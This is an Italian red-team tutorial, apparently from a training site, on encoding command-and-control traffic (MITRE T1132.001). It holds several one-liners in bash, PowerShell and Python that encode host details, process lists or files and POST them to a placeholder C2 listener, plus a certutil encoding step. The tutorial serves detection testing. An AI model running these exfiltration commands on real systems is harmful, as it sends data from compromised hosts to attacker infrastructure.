Encoding nel Canale C2: Standard Encoding (T1132.001)

Quando un impianto malevolo deve parlare con il suo server di comando e controllo, ha un problema pratico: i dati che trasmette — comandi, output di ricognizione, credenziali rubate — sono spesso binari o comunque strutturati in modi che risulterebbero anomali se spediti in chiaro su protocolli testuali come HTTP. La soluzione più diffusa è applicare una codifica standard prima della trasmissione. Base64 è la regina indiscussa di questa tecnica, ma gli attaccanti ricorrono anche a esadecimale, Base32, URL encoding, ASCII puro e persino formati con compressione integrata come gzip o zlib.

La tecnica si colloca nella fase Command and Control (TA0011) della kill chain: non serve a entrare nella rete né a muoversi lateralmente, ma a mantenere un canale di comunicazione persistente e sufficientemente discreto tra l'host compromesso e l'infrastruttura dell'attaccante. L'encoding non è crittografia — non protegge la confidenzialità in senso stretto — ma rende il traffico meno leggibile a un'ispezione superficiale e lo maschera dentro flussi HTTP, DNS o HTTPS che i proxy e i firewall tendono a lasciar passare.

I numeri confermano l'ubiquità della tecnica: 11 gruppi APT documentati, 108 software noti che la implementano e almeno 1 campagna tracciata la utilizzano attivamente. Una sola mitigazione formale è mappata — Network Intrusion Prevention — segno che il contrasto si gioca quasi interamente sul piano del rilevamento comportamentale e dell'analisi del traffico.


Il valore di questa tecnica in un esercizio red team non è la complessità — codificare in Base64 è banale — ma la capacità di dimostrare al blue team che il traffico C2 può attraversare i loro controlli senza generare un singolo alert. L'obiettivo del test è verificare se le soluzioni di ispezione del traffico rilevano payload codificati dentro protocolli leciti.

Il primo scenario da replicare è il C2 over HTTP con payload Base64. Su una macchina Linux controllata, genera un beacon simulato che codifica l'output di un comando e lo invia come corpo di una POST:

echo $(whoami; id; hostname) | base64 | curl -s -X POST -d @- <indirizzo-listener-C2>

Lato Windows, PowerShell offre la stessa funzionalità in modo nativo. Il parametro -EncodedCommand accetta direttamente una stringa Base64 contenente il comando da eseguire, ed è esattamente il pattern che malware come POWERSTATS e PowerShower adottano in produzione:

$data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-Process | Out-String))); Invoke-WebRequest -Uri <indirizzo-listener-C2> -Method POST -Body $data

Per testare varianti meno comuni, vale la pena provare la codifica esadecimale — usata da OopsIE, DarkWatchman e Ebury — con xxd:

echo "dati sensibili simulati" | xxd -p | tr -d '\n' | curl -s -X POST -d @- <indirizzo-listener-C2>

Un terzo scenario coinvolge certutil su Windows, lo stesso approccio documentato per BabyShark:

certutil -encode input.bin output.b64

Il file risultante può poi essere trasmesso via HTTP. Certutil è un LOLBin classico: è firmato Microsoft, presente su ogni installazione Windows e raramente bloccato.

Per chi vuole un ambiente C2 completo, Cobalt Strike (a pagamento) e Sliver (open source) supportano nativamente la codifica Base64 e hex-to-ASCII nel canale C2. Sliver in particolare consente di scegliere il formato di encoding del payload direttamente in fase di generazione dell'impianto, il che lo rende ideale per test controllati.

Un esercizio avanzato prevede di combinare encoding e compressione, replicando il comportamento di gh0st RAT e RotaJakiro che usano zlib prima di trasmettere:

python3 -c "import zlib,base64,sys; sys.stdout.buffer.write(base64.b64encode(zlib.compress(open('dati.bin','rb').read())))" | curl -s -X POST -d @- <indirizzo-listener-C2>

Documentate sempre quale combinazione di encoding supera i controlli e quale viene bloccata: è il deliverable che il CISO vuole vedere.


Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo